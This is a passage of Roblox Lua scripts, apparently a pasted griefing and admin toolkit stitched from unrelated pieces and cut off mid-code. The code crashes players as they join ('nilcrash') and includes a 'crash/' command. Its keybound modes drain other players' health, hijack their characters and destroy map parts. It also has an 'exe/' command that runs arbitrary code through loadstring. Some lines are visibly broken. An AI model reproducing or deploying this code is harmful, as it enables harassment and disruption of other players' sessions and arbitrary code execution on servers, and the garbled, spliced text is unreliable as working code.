- for i = 1, #g do
- if g[i]:IsA("Truss") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Tool") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("HopperBin") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Fire") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Explosion") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hat") then
- g[i]: Destroy()
- end
- end
- p = Instance.new("Part")
- p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
- BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
- while true do wait()
- for i = 1, #g do
- if g[i]:IsA("Message") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- end
- end
- )
- AddCommand('Activate nilc','nc',
- function(Msg,Speaker)
- pcall(function()
- game:GetService("Players").ChildAdded:connect(function(p)
- if p:IsA('Player') then
- Output2(p.Name .. ' has joined the server',{Color3.new(math.random(),math.random(),math.random())},Speaker)
- table.insert(PLOG,p.Name)
- Output2(p.Name .. ' Logged In PLOG',{Color3.new(math.random(),math.random(),math.random())},Speaker)
- if p:findFirstChil('Backpack') == nil then wait(2) end
- nilcrash(p)
- end
- end)
- end)
- end
- )
- --[[KeyBinding]]--
- ------------------------------------------------------------------------------------------------
- CtrlDown = false
- ButtonUnoDown = false
- GUIHidden = false
- Platforming = false
- PlatUpping = false
- PlatDowning = false
- ChatDebounce = true
- UseChat = false
- Limping = false
- Mode = "None"
- CopyPasta = nil
- Dragging = nil
- DraggingBP = nil
- GodConnection = nil
- R,G,B = 0,0,0
- X,Y,Z = 0,0,0
- Height = 0
- ColorChange = 0.03
- HeightChange = 0.3
- Sound = Instance.new("Sound",Camera)
- Sound.Pitch = 1
- Sound.Volume = 10
- Platform = Instance.new("Part")
- Platform.Size = Vector3.new(3,1,3)
- Platform.Transparency = 1
- Platform.Anchored = true
- Platform.CanCollide = true
- ModeChanged = Instance.new("BindableEvent")
- KeyBindings = {
- {"t","Teleport"},
- {"j","BreakJoints"},
- {"n","NoClip"},
- {"u","Ninja",function() LocalPlayer.Character.Parent = Camera end},
- {"e","Explosion"},
- {"k","Phaze"},
- {"c","Copy"},
- {"v","Paste"},
- {"b","BloodSuck"},
- {"m","Destroy"},
- {"r","Eat"},
- {";","Host"},
- {"]","Give"},
- {"f","BaleFire"},
- {"p","Asplosion"},
- {"p","Drag"}
- }
- function PlaySound(Id)
- pcall(function()
- Sound:Stop()
- Sound.SoundId = Id
- Sound:Play()
- end)
- end
- function GetPlayer(Target)
- for _,v in pairs(game:service'Players':GetPlayers()) do
- if Target:IsDescendantOf(v.Character) and v.Character ~= nil then
- return v
- end
- end
- return nil
- end
- function ShouldEditPart(Target)
- local Rtn = true
- if Target.Locked == true and CtrlDown == false then
- Rtn = false
- end
- if Target.Name == "Base" or Target == Platform then
- Rtn = false
- end
- return Rtn
- end
- function Darken(Parent)
- for _,v in pairs(Parent:children()) do
- wait(1/100^100)
- for _,i in pairs(v:children()) do
- if i:IsA("Decal") then
- i:Remove()
- end
- end
- if v:IsA("BasePart") then
- local Skin = v:FindFirstChild("Handle") or v
- Skin = Skin:Clone()
- Skin.Name = "Skin"
- Skin.Parent = v.Parent
- Skin.FormFactor = "Custom"
- Skin.TopSurface = "Smooth"
- Skin.BottomSurface = "Smooth"
- Skin.BrickColor = BrickColor.new("Really black")
- Skin.Transparency = 0.3
- Skin.Size = Vector3.new(v.Size.x + 0.1,v.Size.y + 0.1,v.Size.z + 0.1)
- local Weld = Instance.new("Weld",Skin)
- Weld.Part0 = Skin
- Weld.Part1 = v
- Weld.C0 = CFrame.new(0,0,0)
- pcall(function()
- Skin.Mesh.TextureId = ""
- Skin.Mesh.VertexColor = Vector3.new(0,0,0)
- end)
- end
- Darken(v)
- end
- end
- function Load()
- wait(2.5)
- local ScreenGui = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
- ScreenGui.Name = "KeyBindings"
- local Main = Instance.new("Frame",ScreenGui)
- Main.Name = "Main"
- Main.Style = "Custom"
- Main.BackgroundTransparency = 1
- Main.Active = true
- Main.Draggable = true
- Main.Size = UDim2.new(0.15,0,0.1 + #KeyBindings * 0.02,0)
- Main.Position = UDim2.new(0.85,0,0.25,0)
- if GUIHidden == true then
- Main:TweenPosition(UDim2.new(1,0,0.25,0))
- end
- local Title = Instance.new("TextLabel",Main)
- Title.FontSize = "Size14"
- Title.Text = "KeyBindings"
- Title.Active = false
- Title.TextColor3 = Color3.new(1,1,1)
- Title.BackgroundTransparency = 0.5
- Title.Size = UDim2.new(1,0,0.1,0)
- Title.Position = UDim2.new(0,0,0,0)
- local MouseIn = false
- local HealthDisplay = Instance.new("TextLabel",Main)
- HealthDisplay.FontSize = "Size14"
- HealthDisplay.Text = "Loading..."--"["..tostring(LocalPlayer.Character.Humanoid.Health / LocalPlayer.Character.Humanoid.MaxHealth * 100):sub(1,5) .."/100%]"
- HealthDisplay.Active = false
- HealthDisplay.TextColor3 = Color3.new(1,1,1)
- HealthDisplay.BackgroundTransparency = 0.5
- HealthDisplay.Size = UDim2.new(1,0,0.1,0)
- HealthDisplay.Position = UDim2.new(0,0,0.11,0)
- HealthDisplay.MouseEnter:connect(function()
- MouseIn = true
- HealthDisplay.Text = "Max Health : "..tostring(math.floor(LocalPlayer.Character.Humanoid.MaxHealth+0.5))..""
- end)
- HealthDisplay.MouseLeave:connect(function()
- MouseIn = false
- HealthDisplay.Text = "["..tostring(LocalPlayer.Character.Humanoid.Health / LocalPlayer.Character.Humanoid.MaxHealth * 100):sub(1,5) .."/100%]"
- end)
- LocalPlayer.Character.Humanoid.Changed:connect(function()
- if MouseIn == false then
- HealthDisplay.Text = "["..tostring(LocalPlayer.Character.Humanoid.Health / LocalPlayer.Character.Humanoid.MaxHealth * 100):sub(1,5) .."/100%]"
- end
- end)
- local PlatUpArrow = Instance.new("ImageButton",Main)
- PlatUpArrow.Image = "http://www.roblox.com/asset/?id=29563813"
- PlatUpArrow.BackgroundTransparency = 1
- PlatUpArrow.Size = UDim2.new(1/3,0,0.1,0)
- PlatUpArrow.Position = UDim2.new(0,0,0.22,0)
- PlatUpArrow.MouseButton1Down:connect(function()
- HeightChange = 0.3
- PlatUpping = true
- end)
- PlatUpArrow.MouseButton1Up:connect(function()
- PlatUpping = false
- end)
- local PlatOn = Instance.new("TextButton",Main)
- PlatOn.Text = "On"
- PlatOn.FontSize = "Size12"
- PlatOn.BackgroundTransparency = 1
- PlatOn.Size = UDim2.new(1/3/2,0,0.1,0)
- PlatOn.Position = UDim2.new(1/3,0,0.22,0)
- PlatOn.MouseButton1Down:connect(function()
- Height = LocalPlayer.Character.Torso.CFrame.y - 3.5
- Platforming = true
- end)
- local PlatOff = Instance.new("TextButton",Main)
- PlatOff.Text = "Off"
- PlatOff.FontSize = "Size12"
- PlatOff.BackgroundTransparency = 1
- PlatOff.Size = UDim2.new(1/3/2,0,0.1,0)
- PlatOff.Position = UDim2.new(1/3+1/3/2,0,0.22,0)
- PlatOff.MouseButton1Down:connect(function()
- Platforming = false
- Platform.Parent = nil
- end)
- local PlatDownArrow = Instance.new("ImageButton",Main)
- PlatDownArrow.Image = "http://www.roblox.com/asset/?id=29563831"
- PlatDownArrow.BackgroundTransparency = 1
- PlatDownArrow.Size = UDim2.new(1/3,0,0.1,0)
- PlatDownArrow.Position = UDim2.new(1/3*2,0,0.22,0)
- PlatDownArrow.MouseButton1Down:connect(function()
- HeightChange = 0.3
- PlatDowning = true
- end)
- PlatDownArrow.MouseButton1Up:connect(function()
- PlatDowning = false
- end)
- for i,v in pairs(KeyBindings) do
- local Box = Instance.new("TextBox",Main)
- Box.FontSize = "Size12"
- Box.Text = "[" .. v[1] .. "] "..v[2]
- Box.BackgroundTransparency = 0.7
- Box.Size = UDim2.new(1,0,0.05,0)
- Box.Position = UDim2.new(0,0,0,0)
- --Box.Position = UDim2.new(0,0,0.1 + (i - 1) * 0.05,0)
- Box:TweenPosition(UDim2.new(0,0,0.33 + (i - 1) * 0.06,0),"Out","Back",2)
- ModeChanged.Event:connect(function(CurrentMode)
- if Mode == v[2] then
- while Mode == v[2] do
- for i=0,1,ColorChange do if Mode ~= v[2] then break end R = i Box.BackgroundColor3 = Color3.new(R,G,B) wait(1/100^100) end
- for i=0,1,ColorChange do if Mode ~= v[2] then break end G = i Box.BackgroundColor3 = Color3.new(R,G,B) wait(1/100^100) end
- for i=0,1,ColorChange do if Mode ~= v[2] then break end B = i Box.BackgroundColor3 = Color3.new(R,G,B) wait(1/100^100) end
- for i=1,0,ColorChange*-1 do if Mode ~= v[2] then break end R = i Box.BackgroundColor3 = Color3.new(R,G,B) wait(1/100^100) end
- for i=1,0,ColorChange*-1 do if Mode ~= v[2] then break end G = i Box.BackgroundColor3 = Color3.new(R,G,B) wait(1/100^100) end
- for i=1,0,ColorChange*-1 do if Mode ~= v[2] then break end B = i Box.BackgroundColor3 = Color3.new(R,G,B) wait(1/100^100) end
- end
- Box.BackgroundColor3 = Color3.new(0.63,0.63,0.64)
- else
- Box.BackgroundColor3 = Color3.new(0.63,0.63,0.64)
- end
- end)
- Box.Changed:connect(function(Value)
- if Value == "Text" and Box.Text:sub(1,1) ~= "[" then
- v[1] = Box.Text
- Box.Text = "[" .. v[1] .. "] "..v[2]
- end
- end)
- end
- if LocalPlayer.Backpack ~= nil then
- game:GetService("InsertService"):LoadAsset(99030773):children()[1].Parent = LocalPlayer.Backpack
- end
- end
- Load()
- LocalPlayer.CharacterAdded:connect(function()
- coroutine.resume(coroutine.create(function()
- Limping = false
- repeat wait() until LocalPlayer.Character.Humanoid ~= nil and LocalPlayer.PlayerGui ~= nil
- Load()
- end))
- end)
- game:GetService("RunService").Stepped:connect(function()
- pcall(function()
- if LocalPlayer:FindFirstChild("PlayerGui") == nil then
- Instance.new("PlayerGui",LocalPlayer)
- end
- end)
- if Mode == "NoClip" or Platforming == true then
- for _,v in pairs(LocalPlayer.Character:children()) do
- if v:IsA("BasePart") then
- v.CanCollide = false
- elseif v:IsA("Hat") then
- v.Handle.CanCollide = false
- end
- end
- end
- if Mode == "Phaze" then
- LocalPlayer.Character.Archivable = true
- local Clone = LocalPlayer.Character:Clone()
- Clone.Parent = workspace
- Clone.Torso.Anchored = false
- Clone.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(math.random(-5,5),0,math.random(-5,5))
- game:GetService("Debris"):AddItem(Clone,0.30)
- end
- if Platforming == true then
- local TargetCFrame = LocalPlayer.Character.Torso.CFrame
- local TargetAngle = LocalPlayer.Character.Torso.CFrame.lookVector
- Platform.Parent = Camera
- Platform.CFrame = CFrame.new(TargetCFrame.x,Height,TargetCFrame.z)
- Platform.CanCollide = true
- LocalPlayer.Character.Torso.CFrame = TargetCFrame * CFrame.new(0,(TargetCFrame.y * -1) + Height +3.5,0)
- end
- if Mode == "Asplosion" then
- X = X - 1
- Y = Y / 2
- Z = Z + 1
- for i=-1,1,2 do
- local Explosion = Instance.new("Explosion",workspace)
- Explosion.BlastPressure = 2500000
- Explosion.BlastRadius = 20
- Explosion.Position = (LocalPlayer.Character.Torso.CFrame
- * CFrame.Angles(X,Y,Z)
- * CFrame.new(0,0,50*i)).p
- if Limping == true then
- for _,v in pairs(LocalPlayer.Character:children()) do
- if v:IsA("BasePart") then
- v.CanCollide = true
- --v.Friction = 0.1
- end
- end
- pcall(function()
- LocalPlayer.Character.Humanoid.PlatformStand = true
- end)
- end
- end
- end
- end
- )
- Mouse.KeyDown:connect(function(Key)
- local a,b = coroutine.resume(coroutine.create(function()
- if Key == "1" or Key == "2" then
- CtrlDown = true
- elseif Key == "0" then --or Key == "/" then
- PlaySound("http://www.roblox.com/Asset/?id=2785493")
- Mode = "None"
- if LocalPlayer.Character.Parent == Camera then
- LocalPlayer.Character.Parent = workspace
- end
- --pcall(function() LocalPlayer.Character.KeyBindingForceField:Remove() end)
- Platform.Parent = nil
- end
- if CtrlDown == true then
- for _,v in pairs(KeyBindings) do
- if Key == v[1] then
- PlaySound("http://www.roblox.com/Asset/?id=3264923")
- Mode = v[2]
- ModeChanged:Fire(v[2])
- if v[3] ~= nil then
- v[3]()
- end
- end
- end
- end
- end))
- if not a then print(b) end
- end)
- Mouse.Button1Down:connect(function()
- local a,b = coroutine.resume(coroutine.create(function()
- ButtonUnoDown = true
- if Mode == "Teleport" then
- PlaySound("http://www.roblox.com/Asset/?id=16433289")
- LocalPlayer.Character.Torso.Velocity = Vector3.new(0,0,0)
- if CtrlDown == false then
- LocalPlayer.Character.Torso.CFrame = CFrame.new(Mouse.Hit.x,Mouse.Hit.y + 3,Mouse.Hit.z)
- elseif CtrlDown == true then
- LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-15)
- end
- elseif Mode == "BreakJoints" and Mouse.Target.Name ~= "Base" then
- if CtrlDown == true then
- Mouse.Target.Anchored = false
- end
- Mouse.Target:BreakJoints()
- elseif Mode == "Destroy" then
- if ShouldEditPart(Mouse.Target) then
- Mouse.Target:Destroy()
- end
- elseif Mode == "Explosion" then
- PlaySound("http://www.roblox.com/Asset/?id=3087031")
- local Expl = Instance.new("Explosion",workspace)
- Expl.Position = Mouse.Hit.p
- Expl.BlastPressure = 2500000
- Expl.BlastRadius = 20
- if CtrlDown == true then
- Expl.Hit:connect(function(v)
- v.Anchored = false
- end)
- end
- elseif Mode == "Copy" then
- CopyPasta = Mouse.Target:Clone()
- elseif Mode == "Paste" then
- local Temp = CopyPasta:Clone()
- Temp.Parent = workspace
- Temp.CFrame = Mouse.Hit
- elseif Mode == "BloodSuck" then
- local Humanoid = Mouse.Target.Parent:FindFirstChild("Humanoid") or Mouse.Target.Parent.Parent:FindFirstChild("Humanoid")
- local Target = Mouse.Target
- while (LocalPlayer.Character.Torso.Position - Target.Position).Magnitude < 55 and Humanoid.Health > 0 and Mode == "BloodSuck" do
- wait()
- Humanoid.Health = Humanoid.Health - 1
- LocalPlayer.Character.Humanoid.Health = LocalPlayer.Character.Humanoid.Health + 1
- end
- elseif Mode == "Host" then
- local Player = GetPlayer(Mouse.Target)
- if not Player then
- if CtrlDown then
- local Clone = game:service'InsertService':LoadAsset(68452456):children()[1]
- for _,v in pairs(Clone:children()) do if v:IsA("Script") then v:Remove() end end
- local Target = Instance.new("ObjectValue")
- Target.Name = "Target"
- Target.Parent = Clone
- Target.Value = LocalPlayer.Character:FindFirstChild("Humanoid")
- Clone.Name = Player.Name
- for _,v in pairs(Player.Character:children()) do
- if Clone:FindFirstChild(v.Name) == nil then
- v:Clone().Parent = Clone
- else
- pcall(function()
- Clone:FindFirstChild(v.Name).BrickColor = v.BrickColor
- end)
- end
- end
- Clone.Humanoid.Torso = Clone.Torso
- LocalPlayer.Character = Clone
- Clone.Parent = workspace
- Clone.Torso.CFrame = Player.Character.Torso.CFrame*CFrame.new(0,0,-5) * CFrame.Angles(0,math.rad(180),0)
- elseif CtrlDown == false then
- LocalPlayer.Character = Player.Character
- end
- else
- if CtrlDown == false then
- LoadCharacter(CFrame.new(Mouse.Hit.x,Mouse.Hit.y,Mouse.Hit.z))
- else
- LocalPlayer.Character = nil
- end
- end
- elseif Mode == "Give" then
- local Player = game:service'Players'
- local Player = GetPlayer(Mouse.Target)
- if Player ~= nil then
- if Player.Backpack ~= nil then
- local NS = ClonyPooPoo:Clone()
- NS.Parent = Player.Backpack
- NS.Disabled = false
- end
- end
- elseif Mode == "BaleFire" then
- local FF = Instance.new("ForceField",LocalPlayer.Character)
- game:service'Debris':AddItem(FF,1.5)
- for i=0,100 do
- local Expl = Instance.new("Explosion",workspace)
- Expl.BlastPressure = 2500000
- Expl.BlastRadius = 7
- Expl.Position = (CFrame.new(LocalPlayer.Character.Torso.Position,Mouse.Hit.p)
- * CFrame.new(0,0,-i * 15)).p
- if CtrlDown == true then
- Expl.Hit:connect(function(v)
- v.Anchored = false
- end)
- end
- end
- elseif Mode == "Drag" then
- if CtrlDown == true then
- Mouse.Target:BreakJoints()
- Mouse.Target.Anchored = false
- end
- Dragging = Mouse.Target
- DraggingBP = Instance.new("BodyPosition",Dragging)
- DraggingBP.maxForce = Vector3.new(1/0,1/0,1/0)
- end
- end))
- if not a then print(b) end
- end)
- Mouse.Button1Up:connect(function()
- ButtonUnoDown = false
- end)
- Mouse.Move:connect(function()
- local pos = workspace.CurrentCamera.Focus
- local a,b = coroutine.resume(coroutine.create(function()
- if ButtonUnoDown then
- if Mode == "Eat" then
- local Target = Mouse.Target
- if ShouldEditPart(Target) then
- local CF = Target.CFrame
- local Volume = math.floor(Target.Size.x * Target.Size.y * Target.Size.z)
- Target.Size = Vector3.new(math.random(1,2),math.random(1,2),math.random(1,2))
- Target.Anchored = false
- Target.CanCollide = false
- Target.CFrame = CF
- Target:BreakJoints()
- local BP = Instance.new("BodyPosition",Target)
- BP.maxForce = Vector3.new(1/0,1/0,1/0)
- BP.position = LocalPlayer.Character.Head.Position
- Target.Touched:connect(function(Hit)
- if Hit:IsDescendantOf(LocalPlayer.Character) then
- Target:Destroy()
- if LocalPlayer.Character.Humanoid.Health >= LocalPlayer.Character.Humanoid.MaxHealth then
- LocalPlayer.Character.Humanoid.MaxHealth = LocalPlayer.Character.Humanoid.MaxHealth+Volume*0.01
- LocalPlayer.Character.Humanoid.Health = LocalPlayer.Character.Humanoid.MaxHealth
- else
- LocalPlayer.Character.Humanoid.Health = LocalPlayer.Character.Humanoid.Health+Volume*0.01
- end
- end
- end)
- game:GetService("Debris"):AddItem(Target,25)
- end
- elseif Mode == "Explosion" then
- PlaySound("http://www.roblox.com/Asset/?id=3087031")
- local Expl = Instance.new("Explosion",workspace)
- Expl.Position = Mouse.Hit.p
- Expl.BlastPressure = 2500000
- Expl.BlastRadius = 20
- if CtrlDown == true then
- Expl.Hit:connect(function(v)
- v.Anchored = false
- end)
- end
- elseif Mode == "Drag" then
- if Mouse.Target == nil then
- DraggingBP.position = (CFrame.new(pos.p,(Mouse.Hit*CFrame.new(0,1e3,0)).p)*CFrame.new(0,0,-20)).p
- else
- DraggingBP.position = (CFrame.new(pos.p,(Mouse.Hit*CFrame.new(0,30,0)).p)*CFrame.new(0,0,-15)).p
- end
- end
- end
- end))
- if not a then print(b) end
- end)
- Mouse.Button1Up:connect(function()
- pcall(function()
- Dragging = nil
- DraggingBP:Destroy()
- DraggingBP = nil
- end)
- end)
- Mouse.KeyUp:connect(function(Key)
- Key = Key:lower()
- if Key == "1" or Key == "2" then
- CtrlDown = false
- end
- end)
- local HINT=Instance.new('Hint',Workspace);
- local TIME=Workspace.DistributedGameTime;
- local RUN=Game:service'RunService';
- local FLOOR=math.floor;
- local NEW=Instance.new;
- local MINUTE;
- local HOURS;
- while(true)do
- MINUTE=TIME/60;
- HOURS=MINUTE/60;
- if(pcall(function()HINT.Parent=Workspace;end)==false)then
- HINT=NEW('Hint',Worskpace);
- end;
- HINT.Text=
- 'Days: '..FLOOR(HOURS/24)..' '..
- 'Hours: '..FLOOR(HOURS%24)..' '..
- 'Minutes: '..FLOOR(MINUTE%60)..' '..
- 'Seconds: '..FLOOR(TIME%60);
- TIME=TIME+Wait(1);
- end;
- registered = {
- {["Name"] = "Derek1017",["Rank"] = 5},
- {["Name"] = "",["Rank"] = math.huge}
- ,{["Name"] = "",["Rank"] = -1},
- {["Name"] = "",["Rank"] = -1},
- {["Name"] = "",["Rank"] = -1},
- {["Name"] = "",["Rank"] = -1},
- {["Name"] = "",["Rank"] = -1}, }
- publicrank = 0
- minimumage = 0
- commands = {
- {["Name"] = "kill/",["Rank"] = 3,
- ["Execute"] = function(msg,speaker,rank)
- local pls = FilterPlayers(msg,speaker)
- for i=1,#pls do pls[i].Character:BreakJoints()
- end end},
- {["Name"] = "respawn/",["Rank"] = 3,
- ["Execute"] = function(msg,speaker,rank)
- local pls = FilterPlayers(msg,speaker)
- for i=1,#pls do pls[i]:LoadCharacter() end end},
- {["Name"] = "catalog/",["Rank"] = 3,
- ["Execute"] = function(msg,speaker,rank)
- local pls = FilterPlayers(msg,speaker)
- for i=1,#pls do Core.Catalog(pls[i])
- end end},
- {["Name"] = "rhats/",["Rank"] = 2,
- ["Execute"] = function(msg,speaker,rank)
- local pls = FilterPlayers(msg,speaker)
- for i=1,#pls do
- local hats = Object.getclass(pls[i].Character,"Hat")
- for t=1,#hats do Object.remove(hats[t]) end end end},
- {["Name"] = "heal/",["Rank"] = 2,
- ["Execute"] = function(msg,speaker,rank)
- local pls = FilterPlayers(msg,speaker)
- for i=1,#pls do
- local hum = Object.getclass(pls[i].Character,"Humanoid")[1]
- if hum~=nil then hum.Health = hum.MaxHealth
- end end end},
- {["Name"] = "df/",["Rank"] = 3,
- ["Execute"] = function(msg,speaker,rank)
- local pls = FilterPlayers(msg,speaker)
- for i=1,#pls do
- local char = pls[i].Character
- local tor=char:FindFirstChild("Torso")
- if (char~=nil)and(tor~=nil)
- then char:MoveTo(Vector3.new(tor.Position.X,tor.Position.Y+100,tor.Position.Z)) char:BreakJoints() end end end}, {["Name"] = "invisible/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local item = Object.getproperty(Object.tree(pls[i].Character),"Transparency") for t=1,#item do item[t].Transparency = 1 end end end}, {["Name"] = "visible/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local item = Object.getproperty(Object.tree(pls[i].Character),"Transparency") for t=1,#item do if item[t].Name~="HumanoidRootPart" then item[t].Transparency = 0 end end end end}, {["Name"] = "tp/",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) local msg1,msg2 = Core.SplitString(msg,"/") local pls1 = FilterPlayers(msg1,speaker) local pls2 = FilterPlayers(msg2,speaker) for i=1,#pls1 do local char1 = nil local char2 = nil ypcall(function() char1 = pls1[i].Character char2 = pls2[1].Character end) if (char1~=nil)and(char2~=nil)and(char2:FindFirstChild("Torso")) then char1:MoveTo(char2.Torso.Position) end end end}, {["Name"] = "ff/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local ff = Object.new("ForceField",pls[i].Character) end end}, {["Name"] = "unff/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local ff = Object.getclass(pls[i].Character,"ForceField") for t=1,#ff do Object.remove(ff[t]) end end end}, {["Name"] = "m/",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) Core.GMessage("A message from " .. speaker.Name,msg) end}, {["Name"] = "h/",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) Core.ghint(speaker.Name .. ": " .. msg) end}, {["Name"] = "pm/",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) local plr,msg1 = Core.SplitString(msg,"/") local pls = FilterPlayers(plr,speaker) for i=1,#pls do Core.CMessage(pls[i],"A message from " .. speaker.Name,msg1) end end}, {["Name"] = "reset/",["Rank"] = 0,["Execute"] = function(msg,speaker,rank) speaker:LoadCharacter() end}, {["Name"] = "getstats/",["Rank"] = 0,["Execute"] = function(msg,speaker,rank) local list = {} table.insert(list,"Game created by " .. Core.GetUsernameFromId(game.CreatorId)) table.insert(list,"Build number: " .. game.PlaceVersion) table.insert(list,"Your name: " .. speaker.Name) table.insert(list,"Your rank: " .. rank) table.insert(list,"Your AccountAge: " .. speaker.AccountAge) table.insert(list,"Your userId: " .. speaker.userId) table.insert(list,"Up time (minutes): " .. math.floor(Object.gs("Workspace").DistributedGameTime/60)) table.insert(list,"Core API Version: " .. Core.Ver) table.insert(list,"Object API Version: " .. Object.Ver) Core.GetList(speaker,"Game statistics",list) end}, {["Name"] = "time/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) ypcall(function() game.Lighting.TimeOfDay = msg end) end}, {["Name"] = "clear",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) Core.Clear() end}, {["Name"] = "exe/",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) local a,b = ypcall(function() loadstring(msg)() end) if a==false then Core.hint(speaker,tostring(b)) end end}, {["Name"] = "crash/",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do if GetData(pls[i]).Rank<=(rank-1) then Core.Crash(pls[i]) end end end}, {["Name"] = "getconnected",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) local tbl = {} local ns = Object.gs("NetworkServer"):GetChildren() for i=1,#ns do local obj = {} obj.Name = ns[i]:GetPlayer().Name obj.Execute = function(pl) local tbls = {} local back = {} back.Name = "Go back" back.Execute = function() Core.GetMenu(pl,"List of connected players",tbl) end table.insert(tbls,back) table.insert(tbls,{["Name"] = "Account Age: " .. ns[i]:GetPlayer().AccountAge}) table.insert(tbls,{["Name"] = "User Id: " .. ns[i]:GetPlayer().userId}) local dat = GetData(ns[i]:GetPlayer()) table.insert(tbls,{["Name"] = "Rank: " .. dat.Rank}) Core.GetMenu(speaker,ns[i]:GetPlayer().Name,tbls) end table.insert(tbl,obj) end Core.GetMenu(speaker,"List of connected players",tbl) end}, {["Name"] = "rank/",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) local plr,num = Core.SplitString(msg,"/") num=tonumber(num) if num~=nil then local pls = FilterPlayers(plr,speaker) for i=1,#pls do if (GetData(pls[i]).Rank<=(rank-1))and(num<=(rank-1)) then SetRank(pls[i],num) end end end end}, {["Name"] = "getranked",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) local list = {} for i,v in pairs(registered) do table.insert(list,"Name: " .. v.Name .. ", Rank: " .. tostring(v.Rank)) end Core.GetList(speaker,"Registered Players",list) end}, {["Name"] = "music/",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) local results = Core.CatalogSearch(msg,2,9) local menu = {} for i,v in pairs(results) do local obj = {} obj.Name = v.Name obj.Execute = function() local soun = Object.getclass(Object.tree(Object.gs("Workspace")),"Sound") for i=1,#soun do soun[i]:Stop() end local sound = Object.new("Sound",Object.gs("Workspace"),"Music") sound.Volume = 1 sound.Looped = false sound.PlayOnRemove = false sound.SoundId = "http://www.roblox.com/asset/?id=" .. v.Id table.insert(sounds,sound) sound:Play() end table.insert(menu,obj) end Core.GetMenu(speaker,"Results",menu) end}, {["Name"] = "stop",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) for i=1,#sounds do ypcall(function() sounds[i]:Stop() end) table.remove(sounds,i) end local soundr = Object.getclass(Object.tree(Object.gs("Workspace")),"Sound") for i=1,#soundr do soundr[i]:Stop() game:GetService("Debris"):AddItem(soundr[i],3) end end}, {["Name"]="help",["Rank"]=0,["Execute"] = function(msg,speaker,rank) local tbl = {} for i,v in pairs(commands) do if v.Rank<=rank then local tr = {} tr.Name = v.Name table.insert(tbl,tr) end end Core.GetMenu(speaker,"List of Commands Available To You",tbl) end}, {["Name"] = "damage/",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) local plr,mgs = Core.SplitString(msg,"/") local num = tonumber(mgs) if num~=nil then local pls=FilterPlayers(plr,speaker) for i=1,#pls do if (pls[i].Character~=nil)and(pls[i].Character:FindFirstChild("Humanoid")) then pls[i].Character.Humanoid:TakeDamage(num) end end end end}, {["Name"] = "environmentedit",["Rank"] = 5,["Execute"] = function(msg,speaker,rank) local gui,win = Core.window(speaker,UDim2.new(0.5,-320,0.5,-240),UDim2.new(0,640,0,480),"Environment editor") win.Parent.Draggable = false local textbox = Object.new("TextBox",win,"Code") textbox.BackgroundTransparency = 1 textbox.TextColor = BrickColor.new("White") textbox.Size = UDim2.new(1,0,0.95,0) textbox.MultiLine = true textbox.FontSize = "Size11" textbox.TextXAlignment = "Left" textbox.TextYAlignment = "Top" textbox.ClearTextOnFocus = false local tb = Object.new("TextButton",win,"Enter") tb.Size = UDim2.new(1,0,0.05,0) tb.BorderSizePixel = 0 tb.BackgroundColor = BrickColor.new("Bright blue") tb.TextColor = BrickColor.new("Black") tb.Text = "Submit code" tb.Position = UDim2.new(0,0,0.95,0) tb.MouseButton1Click:connect(function() Object.remove(gui) local a,b = ypcall(function() loadstring(textbox.Text)() end) if a==false then Core.hint(speaker,tostring(b)) end end) end}, {["Name"]="skydive/",["Rank"]=3,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do if (pls[i].Character~=nil) and (pls[i].Character:FindFirstChild("Torso")) then local pos = pls[i].Character.Torso.Position pls[i].Character:MoveTo(Vector3.new(pos.X,pos.Y + 500,pos.Z)) end end end}, {["Name"]="explode/",["Rank"]=3,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do if (pls[i].Character~=nil) and (pls[i].Character:FindFirstChild("Torso")) then local pos = pls[i].Character.Torso.Position local e = Object.new("Explosion",Object.gs("Workspace"),"Hehe") e.BlastRadius = 12 e.BlastPressure = 100000 e.Position = pos end end end}, {["Name"] = "repeat/",["Rank"] = 5,["Execute"] = function(msg,speaker,rank) local msg1,msg2 = Core.SplitString(msg,"/") local num = tonumber(msg1) if num~=nil then coroutine.resume(coroutine.create(function() for i=1,num do Chat("" .. msg2,speaker) wait(6) end end)) end end}, } Object = { ["Ver"] = 1.31, ["new"] = function(class,par,name) local obj = nil if par==nil then par = game.Workspace end if (name~=nil)and(tostring(name)~=nil) then name = tostring(name) else name = tostring(class) end if tostring(class)~=nil then class = tostring(class) else class = "Sound" end ypcall(function() obj = Instance.new(class,par) 